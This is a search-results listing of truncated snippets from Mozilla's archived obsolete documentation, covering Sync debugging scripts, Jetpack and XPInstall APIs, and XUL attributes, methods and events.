....import("resource://services-sync/engines/bookmarks.js"); let bme = weave.service.enginemanager.get("bookmarks"); let ids = object.keys(bme._store.getallids()); for each (let id in ids) { let record = bme._store.createrecord(id, "bookmarks"); let len = record.tostring().length; if (len > 1000) { console.log("id: " + id + ", len = " + len + ", " + record.title); } } print an alphabetically sorted list of members of a collection components.utils.import("resource://services-sync/main.js"); components.utils.import("resource://services-sync/resource.js"); let ids = json.parse(new resource(weave.service.storageurl + "bookmarks").get()); for each (let id in ids.sort()) { console.log(" " + id); } get a count of the number of members of a collection on the server let collection = "...
Gecko Coding Help Wanted - Archive of obsolete content
someplace easy and straightforward, so you can get a feel for the lay of the code.
... reports in bugzilla can be deceptive, deceptively hard...
HTTP Class Overview - Archive of obsolete content
nshttphandler implements nsiprotocolhandler manages preferences owns the authentication cache holds references to frequently used services nshttpchannel implements nsihttpchannel talks to the cache initiates http transactions processes http response codes intercepts progress notifications nshttpconnection implements nsistreamlistener & nsistreamprovider talks to the socket transport service feeds data to its transaction object routes progress notifications nshttpconnectioninfo identif...
...ies a connection nshttptransaction implements nsirequest encapsulates a http request and response parses incoming data nshttpchunkeddecoder owned by a transaction strips chunked transfer encoding nshttprequesthead owns a nshttpheaderarray knows how to fill a request buffer nshttpresponsehead owns a nshttpheaderarray knows how to parse response lines performs common header manipulations/calculations nshttpheaderarray stores http "<header>:<value>" pairs nshttpauthcache stores authentication credentials for http auth domains nshttpbasicauth implements nsihttpauthenticator generates basic auth credentials from user:pass nshttpdigestauth implements nsihttpauthenticator generates digest auth credentials from user:pass original document informatio...
CRMF Request object - Archive of obsolete content
deprecatedthis feature has been removed from the web standards.
... rfc 4211, the internet x.509 public key infrastructure certificate request message format (crmf), defines a certreqmessage.
Content - Archive of obsolete content
page modifications greasemonkey!
... execute callbacks when certain pages are opened siteboost allows a jetpack to empower a domain with extended abilities beyond those native to web pages ...
Jetpack Snippets - Archive of obsolete content
> <script><![cdata[ //firebug lite bookmarklet code: var firebug=document.createelement('script'); firebug.setattribute('src','http://getfirebug.com/releases/lite/1.2/firebug-lite-compressed.js'); document.body.appendchild(firebug); (function(){if(window.firebug.version){firebug.init();}else{settimeout(arguments.callee);}})();void(firebug); ]]></script> </body></html>, width: 800, //wide enough to use firebug onselect: function(slide) { slide.slide(800, true); }}); calling into a slidebar from the global jetpack scope jetpack.slidebar.append({ onready: function (slide) { // call out to a global function, passing the slidebar object exinitslidebar(slide); ...
...}, ...});function exinitslidebar(aslidebar) { // this variable will now be global slider = aslidebar;} // then, accessing the slidebar htmlvar tl = slider.contentdocument.getelementbyid("thumblist"); // or calling slidebar api methods or accessing propertiesslider.notify(); ...
Selection - Archive of obsolete content
features can get, set, and listen for selection events in html or plain text.
... funca function to be called when the selection is made.
Selection - Archive of obsolete content
features can get, set, and listen for selection events in html or plain text.
...funca function to be called when the selection is made.
slideBar - Archive of obsolete content
jetpack.future.import("slidebar"); methods append(iconurihtmlhtml/xmlurluriwidthintpersistboolautoreloadboolonclickfunctiononselectfunctiononreadyfunction)this is a list of options to specify modifications to your slidebar instance.
... iconhref oficon to show in the slidebaruri htmlhtml content for the featurehtml/xml urlurl to load content for the featureuri widthwidth of the content area and the selected slide sizeint persistdefault slide behavior when being selectedbool autoreloadautomatically reload content on selectbool onclickcallback when the icon is clickedfunction onselectcallback when the feature is selectedfunction onreadycallback when featured is loadedfunction an example: jetpack.slidebar.append({ url: "http://mozilla.com", width: 150, onclick: function(slide){ slide.icon.src = "chrome://branding/content/icon48.png"; }}); ...
Selection - Archive of obsolete content
ArchiveMozillaJetpackdocsUISelection
features can get, set, and listen for selection events in html or plain text.
...funca function to be called when the selection is made.
Measuring add-on startup performance - Archive of obsolete content
the overhead can be calculated using the same formula.
...this can vary between systems, though.
Plug-n-Hack Get Involved - Archive of obsolete content
if you would like to add pnh support to a browser or tool, or even get involved in onward pnh development, then please get in touch and we will give you whatever assistance we can.
...you can also talk to the mozilla security team about this project on the #websectools irc channel.
BundleLibrary - Archive of obsolete content
bundles gmail: gmail.webapp google calendar: gcalendar.webapp google docs: gdocs.webapp google groups: groups.webapp google analytics: ganalytics.webapp google reader: greader.webapp facebook: facebook.webapp twitter: twitter.webapp user contributed bundles gmail w/gtalk: gmail.webapp (note: work with latest version of prism!) 32 online todo lists: zip file with web apps for 32 online todo lists anywhere.fm: anywhere.fm@prism.app.webapp a service that lets you upload your entire music library to their servers and listen from anywhere through a slic...
...mail: ymail.webapp (note that this fakes a firefox user agent string while running, which may affect other running web applications.) ...
Remote XUL - Archive of obsolete content
this also means you can't load xul using file:// urls unless you set the preference dom.allow_xul_xbl_for_file to true.
... however, there is a whitelist that lets you specify sites that can still use remote xul.
Cmdline tests - Archive of obsolete content
the cmdline testsuite is located in test/cmdline.
... two use cases for the cmdline testsuite: use case 1: test the interactive cmdline debugger test contents: start avmshell -d test.abc, set breakpoint on a line, show local variable value, quit from cmdutils import * def run(): r=runtestlib() r.run_test( 'debugger locals', '%s -d testdata/debug.abc'%r.avmrd, input='break 53\ncontinue\nnext\ninfo locals\nnext\ninfo locals\nquit\n', expectedout=['local1 = undefined','local2 = 10','local2 = 15'] ) use case 2: test -memstats returns memory logs to stdout test contents: start avmshell...
Tamarin Acceptance Testing - Archive of obsolete content
successfully build release and debug versions of the shell with the debugger enabled [info] successfully run the following test suites: acceptance test suite [info] self tests [info] submit a sandbox build request to test against platforms that you may not have locally [info] available tamarin acceptance test suites actionscript acceptance tests: actionscript acceptance tests running tamarin acceptance tests abc assembler tests cmdline tests performance tests actionscript performance tests running tamarin performance tests built-in self tests see instructions in doc/selftest.html in the...
... misc the acceptance and performance tests can be run on windows mobile devices connected to windows desktop machine with activesync.
Tamarin-central rev 703:2cee46be9ce0 - Archive of obsolete content
the announcement sent to tamarin-devel can be read here.
... recursive pcre testcases kills the stack on pocketpc builds ...
TraceVis - Archive of obsolete content
the log can be postprocessed into a visualization that can be used to rapidly diagnose many tracing-related performance issues.
...these directions create an optimized build, because optimized builds are usually better for performance analysis.
Treehydra - Archive of obsolete content
how to build treehydra treehydra manual usage instructions static analyses analyses being worked on for mozilla 2(many use treehydra) interesting papers esp path-sensitive program verification in polynomial time community view treehydra forums...
... mailing list newsgroup rss feed #static on irc.mozilla.org blogs taras glek david mandelin related topics pork c/c++ refactoring tools, mozilla 2, spidermonkey categories interwiki language links ...
Mozilla Web Developer Community - Archive of obsolete content
more at http://www.mozilla.org/community/dev...er-forums.html mozillazine forums mozilla news and development help mozilla (testing and development) mozdev.org mozillazine planet mozilla spread firefox standards communities get involved in grass-roots web standards evangelism efforts through these groups: the web standards project, a grassroots coalition fighting for standards maccaws, making a commercial case for web standards a list apart, for people who make websites mozilla technology evangelism, get involved with mozilla evangelism you may also find helpful information on the w3c mailing lists newsletter there is no newsletter planned at this time.
...the list of old devedge feeds is at http://devedge-temp.mozilla.org/comm.../feedlist.html feedback hendrix mdnproduct feedback bugzilla - report a bug in a mozilla product for questions related to this website (but not technical questions), please send your message to the mdc mailing list.
File.windowsShortcut - Archive of obsolete content
file.windowsshortcut in this example, the windowsshortcut method is used to add a shortcut in the program directory ("program" is a keyword for the directory in which the program itself is installed, for example, c:\program files\netscape\netscape 6\" on windows) to windows software (misc.exe) that is installed in the "windows" directory.
...f = getfolder("windows"); g = getfolder("temporary"); addfile( "miscshortcut", "2.2.2.2", xpisrc, f, xpisrc, true); target = getfolder(f, xpisrc); shortcutpath = getfolder("program"); err = file.windowsshortcut( target, shortcutpath, "misc shortcut", g, "", target, 0); logcomment("file.windowsshortcut returns: " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
Install.addDirectory - Archive of obsolete content
install.adddirectory the install object's adddirectory method queues an entire directory for installation once performinstall is called.
... var vi = "10.10.10.10"; var xpisrc = "adddir1"; initinstall("addfilenovers1", "adddir_1", vi, 1); f = getfolder("program"); setpackagefolder(f); err = adddirectory(xpisrc); logcomment("the error = " + err); if (0 == getlasterror()) performinstall(); else cancelinstall(); ...
Trigger Scripts and Install Scripts - Archive of obsolete content
trigger scripts and install scripts trigger scripts are simple installations that can be initiated from event handlers and other javascript code on a web page.
... these install scripts are typically located at the top level of the xpi archives in which the installations are stored.
Examples - Archive of obsolete content
examples trigger scripts and install scripts describes typical kinds of script that use the xpinstall api.
... the following samples demonstrate some of the principal installation functions in the xpinstall api: file.macalias file.windowsshortcut [install.]adddirectory [install.]addfile installtrigger.installchrome installtrigger.startsoftwareupdate windows install example ...
isDirectory - Archive of obsolete content
summary returns a boolean value indicating whether the specified filespecobject is a directory.
... returns a boolean value indicating whether the object is a directory or not.
isFile - Archive of obsolete content
summary returns a boolean value indicating whether the given filespecobject is a file.
... returns a boolean value indicating whether the filespecobject is a file or not.
File Object - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...file use the file object to manipulate local files and directories during the installation process.
InstallVersion Object - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...the init() method associates a particular version with an installversion object, the tostring() method converts versions in various formats to a string, and the compareto() method compares these string and indicates the relationship between the two versions.
getWinProfile - Archive of obsolete content
once you have this object, you can call its methods to retrieve strings from the file or to add strings to the file.
...example to edit the win.ini file, you would create a winprofile object with this call: var mywinprofileobj = getwinprofile (getfolder("windows"), "win.ini"); ...
loadResources - Archive of obsolete content
description the format of the properties file expected by loadresources is the same as that of the chrome locale .properties files.
... this method is used to internationalize installation scripts by allowing the installer to retrieve localized string values from a separate file.
writeString - Archive of obsolete content
values are not actually written until performinstall is called.
... example to set the name of the wallpaper file from the desktop section of the win.ini file, use this call: ini = getwinprofile (getfolder("windows"), "win.ini"); ini.writestring ("desktop", "wallpaper", "newpathname"); ...
WinProfile Object - Archive of obsolete content
the majority of this api is now deprecated and as of gecko 1.9 no longer available.
...instead, you construct an instance of this object by calling the getwinprofile method of the install object.
createKey - Archive of obsolete content
method of winreg object syntax int createkey ( string subkey, string classname); parameters the method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
...you must add a key to the registry before you can add a value for that key.
getValue - Archive of obsolete content
getvalue netscape 6 and mozilla do not currently support this method.
...method of winreg object syntax winregvalue getvalue ( string subkey, string valname); parameters the getvalue method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
setValue - Archive of obsolete content
setvalue netscape 6 and mozilla do not currently support this method.
...method of winreg object syntax string setvalue ( string subkey, string valname, winregvalue value); parameters the setvalue method has the following parameters: subkey the key path to the appropriate location in the key hierarchy, such as "software\\netscape\\navigator\\mail".
WinRegValue - Archive of obsolete content
syntax winregvalue ( int datatype, byte[] regdata); parameters the winregvalue constructor takes the following parameter: datatype an integer indicating the type of the data encapsulated by this object.
...description advanced windows developers can use this object to manipulate non-string values for the windows registry.
afterselected - Archive of obsolete content
this is automatically set when needed and you shouldn't adjust it manually.
... this is primarily useful for themes so that they can adjust the appearance of the area around the selected tab.
attribute - Archive of obsolete content
when the value of the attribute changes, the broadcast event is called on the observer.
... use the value * to observe all attribute of the broadcasters.
beforeselected - Archive of obsolete content
this is set automatically set when needed and you shouldn't adjust it manually.
... this is primarily useful for themes so that they can adjust the appearance of the area around the selected tab.
chromemargin - Archive of obsolete content
the specified string should contain four numbers, separated by commas, indicating the margin in pixels for the top, right, bottom, and left edges of the window, respectively.
... this value may be -1 to use the default margin for that side on the current platform, 0 to have no system border (that is, to extend the client area to the edge of the window), or a value greater than zero to indicate how much less than the default default width you wish the margin on that side to be.
collapse - Archive of obsolete content
if this attribute is not specified, the splitter will not cause a collapse.
... both either the element immediately before the splitter, or the element immediately after the splitter can be collapsed, if the size of that element would fall below the minimum size due to the position of the splitter.
containment - Archive of obsolete content
« xul reference home containment type: uri this attribute specifies rdf properties (an rdf predicate) that indicate that a resource is a container.
... when generating content from a template this is used to determine which resources from the datasource are containers and thus can have child nodes and which ones are not containers.
customizable - Archive of obsolete content
« xul reference home customizable not in seamonkey 1.x type: boolean set this attribute to true on toolbars that can be customized.
... this causes the set of buttons to be persisted across sessions.
cycler - Archive of obsolete content
in the case, clicking on a cell in the column will alternate its state between on and off.
... this is used, for example, in a mail window, for a column that indicates that the message is read or unread with a small mark in the cell.
dir - Archive of obsolete content
ArchiveMozillaXULAttributedir
normal for scales, the scale's values are ordered from left to right (for horizontal scales) or from top to bottom (for vertical scales) for other elements, the elements are placed left to right or top to bottom in the order they appear in the xul code.
... reverse for scales, the scale's values are ordered from right to left (for horizontal scales) or from bottom to top (for vertical scales).
equalsize - Archive of obsolete content
« xul reference home equalsize type: one of the values below this attribute can be used to make the children of the element equal in size.
...for a vertically oriented element, this will make its children all have the height of the tallest child.
events - Archive of obsolete content
valid events are listed below, or you can use your own events.
... you can send a custom event by calling the updatecommands method of the command dispatcher.
fixed - Archive of obsolete content
« xul reference home fixed type: boolean if true, the size of the column in the tree cannot be adjusted by the user.
...if false or not specified, the user can adjust the size of the column, typically by dragging the column header with the mouse.
flex - Archive of obsolete content
ArchiveMozillaXULAttributeflex
« xul reference home flex type: string (representing an integer) indicates the flexibility of the element, which indicates how an element's container distributes remaining empty space among its children.
...once the default sizes of elements in a box are calculated, the remaining space in the box is divided among the flexible elements, according to their flex ratios.
iconsize - Archive of obsolete content
« xul reference home iconsize type: string indicates whether the toolbar should display large icons or small icons; this should be the string "large" or "small", respectively.
... these can vary from one toolbar to another within a given toolbox, whose iconsize attribute defines the default for all toolbars that don't specify an icon size.
max - Archive of obsolete content
ArchiveMozillaXULAttributemax
« xul reference home type: integer the maximum value that the scale or number box may be set to.
... the default value is 100 for scales and infinity for number boxes.
menuitem.type - Archive of obsolete content
« xul reference home type type: one of the values below can be used to create checkable menuitems or for radio button menuitems.
...only one menuitem in the same radio group can be checked at once.
mousethrough - Archive of obsolete content
the mousethrough attribute is typically used in conjunction with a stack to allow elements to be stacked above other elements yet allow mouse events to be sent to lower elements.
... in the following example, the image appears above the button, yet the mousethrough attribute specified on the image causes mouse events to be ignored on the image and instead fall through to the button.
observes - Archive of obsolete content
« xul reference home observes type: id set to an id of a broadcaster element that is being observed by the element.
... if an attribute changes in the broadcaster it is also changed in the observer.
ordinal - Archive of obsolete content
the ordinal attribute can be used to change the order.
...you can retrieve the displayed order by using the properties of the boxobject of the container.
panel.fade - Archive of obsolete content
« xul reference homefadetype: one of the values belowthe fade attribute, which may only be used with arrow panels, lets you set up a panel that will automatically fade away after a short time.
... nonethe panels doesn't automatically fade away.slowthe panels slowly fades away after a short time.fastthe panels quickly fades away after a short time.
panel.ignorekeys - Archive of obsolete content
« xul reference home ignorekeys type: boolean if false, the default value, the escape key may be used to close the panel.
... if true, the escape key cannot be used to close the panel.
panel.level - Archive of obsolete content
top the panel is shown in front of all other normal windows, including those of other applications.
...on mac, the panel is only visible when the application is active.
panel.noautohide - Archive of obsolete content
« xul reference home noautohide type: boolean if false, the default value, the panel will be hidden when the user clicks outside the panel or switches focus to another application.
... if true, the panel will only be closed when the hidepopup method is called.
persistence - Archive of obsolete content
« xul reference home persistence type: integer the persistence may be set to a non-zero value so that the notificationbox's removetransientnotifications method does not remove them.
... this may be used to close a set of notifications as a group without affecting other notifications.
popupanchor - Archive of obsolete content
noneno anchortopleftanchor to the top left cornertoprightanchor to the top right cornerbottomleftanchor to the bottom left cornerbottomrightanchor to the bottom right cornersyntax<element popupanchor="none | topleft | topright | bottomleft | bottomright" /> example<element id="edit-context" popup="editor-popup" popupanchor="topleft" popupalign="bottomright" /> notesthe popupanchor attribute can be used to specify that the popup content should come up anchored to one of the four corners of the content object (e.g., the button popping up the content).
...this point (either directly under the mouse or attached to one of the four corners) is called the originating point.by default the popup content appears with its top left point located directly underneath the point at which the user's mouse goes down (on tooltips the content is displaced by the height of the mouse cursor).
primary - Archive of obsolete content
« xul reference home primary type: boolean if set to true, the treecol will have indentation and twisties drawn to the left of it to indicate the hierarchy level of the rows.
... if no column has the primary attribute set to true, the tree may still contain nested rows, although no indication will be given to the user.
priority - Archive of obsolete content
« xul reference home priority type: integer numeric value that specifies the order in which the notifications appear.
... should be one of the constants described in the notificationbox's appendnotification method.
progressmeter.mode - Archive of obsolete content
« xul reference home mode type: one of the values below a determinedprogressmeter is used in cases where you know how long an operation will take.
... an undeterminedprogressmeter can be used when you don't and will typically be drawn as a spinning barber pole.
resizer.dir - Archive of obsolete content
bottomstart resized down and toward the start of the line (toward the left for left-to-right locales, toward the right for right-to-left locales).
... bottomend resized down and toward the end of the line (toward the right for left-to-right locales, toward the left for right-to-left locales).
right - Archive of obsolete content
this location is specified with respect to the right edge of the stack prior to the element being evaluated, or added to the stack.
... for example, using right="-80" causes the stack to be enlarged 80 pixels to the right and the element's right edge to be at the same location as the right edge of the stack.
script.type - Archive of obsolete content
usually, you would set this to application/javascript.
... note: if the javascript file is in chrome://, setting this attribute to application/javascript will always use the latest available javascript version.
seltype - Archive of obsolete content
« xul reference home seltype type: one of the values below used to indicate whether multiple selection is allowed.
...(default in tree.) for trees, you can also use the following values: cell individual cells can be selected text rows are selected; however, the selection highlight appears only over the text of the primary column.
statustext - Archive of obsolete content
mozilla doesn't adjust the status bar automatically however.
...in firefox, this text is automatically placed in the statusbar for menuitems on the menu bar.
textbox.empty - Archive of obsolete content
« xul reference home empty type: boolean presence of this attribute indicates that the emptytext is now being displayed.
... can be used for styling purposes.
textbox.minResultsForPopup - Archive of obsolete content
this can be used to display additional items that are not autocomplete results.
... as of gecko 1.9.1, this attribute is now always specified in lower case.
textbox.type - Archive of obsolete content
« xul reference home type type: one of the values below you can set the type attribute to one of the values below for a more specialized type of textbox.
...the timed type is deprecated in gecko 1.9.1 and the search textbox may be used instead.
validate - Archive of obsolete content
« xul reference home validate type: one of the values below this attribute indicates whether to load the image from the cache or not.
... never the image will be loaded from the cache if possible.
CheckboxStateChange - Archive of obsolete content
general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean is it possible to cancel the event?
DOMMenuItemActive - Archive of obsolete content
general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
DOMMenuItemInactive - Archive of obsolete content
general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
RadioStateChange - Archive of obsolete content
general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean is it possible to cancel the event?
ValueChange - Archive of obsolete content
general info specification xul interface event bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean is it possible to cancel the event?
commandupdate - Archive of obsolete content
general info specification xul interface event bubbles no cancelable no target element default action none.
... cancelable read only boolean whether the event is cancellable or not.
popuphidden - Archive of obsolete content
general info specification xul interface popupevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
popuphiding - Archive of obsolete content
general info specification xul interface popupevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
popupshown - Archive of obsolete content
general info specification xul interface popupevent bubbles yes cancelable yes target element default action none properties property type description target read only eventtarget the event target (the topmost target in the dom tree).
... cancelable read only boolean whether the event is cancellable or not.
How to implement a custom XUL query processor component - Archive of obsolete content
from the beginning of the name var name = avar.tostring().slice(1); return this._data[name]; }, // return an object instead of a string for convenient comparison purposes // or null to say just use string value getbindingobjectfor: function(avar) { return null; }, // called when a rule matches this item.
.../xul/xul-query-processor;1?name=simpledata", getdatasource: function(adatasources, arootnode, aistrusted, abuilder, ashoulddelaybuilding) { // todo: parse the adatasources variable // for now, ignore everything and let's just signal that we have data return this._data; }, initializeforbuilding: function(adatasource, abuilder, arootnode) { // perform any initialization that can be delayed until the content builder // is ready for us to start }, done: function() { // called when the builder is destroyed to clean up state }, compilequery: function(abuilder, aquery, arefvariable, amembervariable) { // outputs a query object.
onFindAgainCommand - Archive of obsolete content
« xul reference home onfindagaincommand( findprevious ) return type: no return value call this method to handle your application's "find next" and "find previous" commands.
... you should specify true as the input parameter to perform a "find previous" operation, or false to perform a "find next." example typically, you'll simply bind this method to your "find next" and "find previous" commands, like this: <command name="cmd_find_previous" oncommand="gfindbar.onfindagaincommand(true);"/> <command name="cmd_find_next" oncommand="gfindbar.onfindagaincommand(false);"/> ...
swapDocShells - Archive of obsolete content
this method can be used to move browser between windows or tear off a browser into a new window.
...you can't mix them.
blur - Archive of obsolete content
ArchiveMozillaXULMethodblur
the focus is not automatically placed on any other element.
... essentially, this is used to call the onblur handler.
extra1 - Archive of obsolete content
ArchiveMozillaXULMethodextra1
« xul reference home extra1() return type: no return value call this method to simulate clicking the extra1 button.
... the code in the onextra1 attribute is called.
extra2 - Archive of obsolete content
ArchiveMozillaXULMethodextra2
« xul reference home extra2() return type: no return value call this method to simulate clicking the extra2 button.
... the code in the onextra2 attribute is called.
focus - Archive of obsolete content
ArchiveMozillaXULMethodfocus
« xul reference home focus() return type: no return value assigns the focus to the element, if it can accept the focus.
... the onfocus handler is called if the toplevel window is active.
goTo - Archive of obsolete content
ArchiveMozillaXULMethodgoTo
the page will be changed regardless of the value of canadvance or canrewind.
... the onwizardback and onwizardnext code is not called when using this function.
insertItem - Archive of obsolete content
the third argument can be used to wrap the new item in another element.
...some special ids may also be used to create special spacing items: separator: a separator, which is drawn as a vertical bar.
insertItemAt - Archive of obsolete content
note: you cannot insert an item to an index that does not exist, eg: trying to insert an item at the end with element.getrowcount() + 1 example <!-- this example inserts at the selected item or appends, then selects the newly created item --> <script language="javascript"> function insertitemtolist(){ var mylistbox = document.getelementbyid('mylistbox'); // create a date to get some labels and values var somedate = new date(); if(mylistbox.selectedindex == -1){ // no item was selected in list so append to the e...
...nd mylistbox.appenditem( somedate.tolocaletimestring(), somedate.gettime() ); var newindex = mylistbox.getrowcount() -1 }else{ // item was selected so insert at the selected item var newindex = mylistbox.selectedindex; mylistbox.insertitemat(newindex, somedate.tolocaletimestring(), somedate.gettime()); } // select the newly created item mylistbox.selectedindex = newindex; } </script> <button label="insert item at selected" oncommand="insertitemtolist()"/> <listbox id="mylistbox"> <listitem label="foo"/> </listbox> see also appenditem() removeitemat() ...
loadURIWithFlags - Archive of obsolete content
in addition to the flags allowed for the reloadwithflags method, the following flags are also valid: load_flags_is_refresh: this flag is used when the url is loaded because of a meta tag refresh or redirect.
... load_flags_is_link: this flag is used when the url is loaded because a user clicked on a link.
moveTo - Archive of obsolete content
ArchiveMozillaXULMethodmoveTo
« xul reference home moveto( x, y ) return type: no return value moves the popup to a new location defined by screen coordinates (and not client coordinates).
... if both x and y have the value -1 the call will realign the popup with its anchor node.
onSearchComplete - Archive of obsolete content
« xul reference home onsearchcomplete() return type: no return value calls the onsearchcomplete event handler.
... you should not call this method yourself.
onTextEntered - Archive of obsolete content
« xul reference home ontextentered() return type: event result calls the ontextentered event handler.
... you should not call this method yourself.
onTextReverted - Archive of obsolete content
« xul reference home ontextreverted() return type: event result calls the ontextreverted event handler.
... you should not call this method yourself.
reloadWithFlags - Archive of obsolete content
load_flags_bypass_cache: reload the page, ignoring if it is already in the cache.
... load_flags_charset_change: this flag is used if the document needs to be reloaded because the character set changed.
showPopup - Archive of obsolete content
« xul reference home showpopup( element, x, y, popuptype, anchor, align ) deprecated since gecko 1.9 return type: no return value deprecated in favor of openpopup and openpopupatscreen opens a popup element.
...in this latter case, the anchor and align arguments may be used to further control where the popup appears relative to the element.
startEditing - Archive of obsolete content
« xul reference home startediting( row, column ) return type: no return value activates user editing of the given cell, which is specified by row index number and the nsitreecolumn in which it is located.
... the tree view's nsitreeview.getcelltext() method is called to obtain the cell contents.
Printing from a XUL App - Archive of obsolete content
this document will talk about printutils, and the ways that xul applications can trigger print-related behaviors.
... structure of an installable bundle: describes the common structure of installable bundles, including extensions, themes, and xulrunner applications extension packaging: specific information about how to package extensions theme packaging: specific information about how to package themes multiple-item extension packaging: specific information about multiple-item extension xpis xul application packaging: specific information about how to package xulrunner applications chrome registration printing in xul apps ...
accessibleType - Archive of obsolete content
« xul reference accessibletype type: integer a value indicating the type of accessibility object for the element.
... xullistheader 1025 xullistitem 100c xulmenubar 100d xulmenuitem 100e xulmenupopup 100f xulmenuseparator 1010 xulpane 1011 xulprogressmeter 1012 xulscale 1013 xulstatusbar 1014 xulradiobutton 1015 xulradiogroup 1016 xultab 1017 xultabbox 1018 xultabs 1019 xultext 101a xultextbox 101b ...
builder - Archive of obsolete content
for scripts it is only necessary in case you want to force the template content to be regenerated.
...to rebuild the content call the builder's rebuild method.
is24HourClock - Archive of obsolete content
« xul reference is24hourclock type: boolean a read only value indicating whether a 12-hour or 24-hour clock is used to display times.
...this value is determined from the user's locale.
Notes - Archive of obsolete content
implementing an nsicommandlinehandler on windows may trigger a bug that causes an error message ("windows cannot find the file specified") to be displayed when opening external links (like from a shortcut or from an external application).
... deleting the "(default)" values in the following registry keys will fix this: hkey_classes_root\http\shell\open\ddeexec hkey_classes_root\https\shell\open\ddeexec you can also do this from within your xpcom component using windows registry interface.
alert-icon - Archive of obsolete content
this typically looks like an exclamation mark.
... this and the other icon classes may be used by image elements or other elements which can have an image.
Namespaces - Archive of obsolete content
xml namespaces can be used in xul templates by binding the namespace uri and prefix to the template element.
... for example using the following xml document containing a list of people: <people xmlns="www.example.com/people"> <person name="napoleon bonaparte" gender="male"/> <person name="cleopatra" gender="female"/> <person name="julius caesar" gender="male"/> <person name="ferdinand magellan" gender="male"/> <person name="laura secord" gender="female"/> </people> <listbox datasources="people.xml" ref="*" querytype="xml"> <template xmlns:ns="www.example.com/people"> <query expr="ns:person"/> <action> <listitem uri="?" label="?ns:name"/> </action> </template> </listbox> once added to the template element the namespaces can then be referenced inside temple rule elements too, this works both in rdf and xml templates.
Urlbar-icons - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] the location of ui elements like the bookmarks, feed and go buttons.
... chromedir="ltr" class="urlbar-icon" click="" for="" id="safebrowsing-urlbar-icon" img="" level="safe" might="" onclick="godocommand('safebrowsing-show-warning');" page="" style="-moz-user-focus:" tooltiptext="this" type="menu"> <img class="urlbar-icon" id="star-button" onclick="placesstarbutton.onclick(event);" /> <img address="" chromedir="ltr" class="urlbar-icon" id="go-button" in="" location="" onclick="handleurlbarcommand(event);" p="" the="" to="" tooltiptext="go" /> </button> </hbox> ...
dropmarker - Archive of obsolete content
examples properties accessibletype attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, styl...
...e, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties accessibletype type: integer a value indicating the type of accessibility object for the element.
grid - Archive of obsolete content
ArchiveMozillaXULgrid
the second column is twice as big as the first column --> <groupbox> <caption label="details"/> <grid> <columns> <column flex="1"/> <column flex="2"/> </columns> <rows> <row> <label value="user name"/> <textbox id="user"/> </row> <row> <label value="group"/> <menulist> <menupopup> <menuitem label="accounts"/> <menuitem label="sales" selected="true"/> ...
... <menuitem label="support"/> </menupopup> </menulist> </row> </rows> </grid> </groupbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, ...
grippy - Archive of obsolete content
« xul reference home [ examples | attributes | properties | methods | related ] an element that may be used inside a splitter which can be used to collapse a sibling element of the splitter.
... examples (example needed) attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip, tooltiptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controlle...
hbox - Archive of obsolete content
ArchiveMozillaXULhbox
« xul reference home [ examples | attributes | properties | methods | related ] a container element which can contain any number of child elements.
... example <!-- two button on the right --> <hbox> <spacer flex="1"/> <button label="connect"/> <button label="ping"/> </hbox> attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, tooltip...
listcol - Archive of obsolete content
you can make some columns flexible and other columns non-flexible.
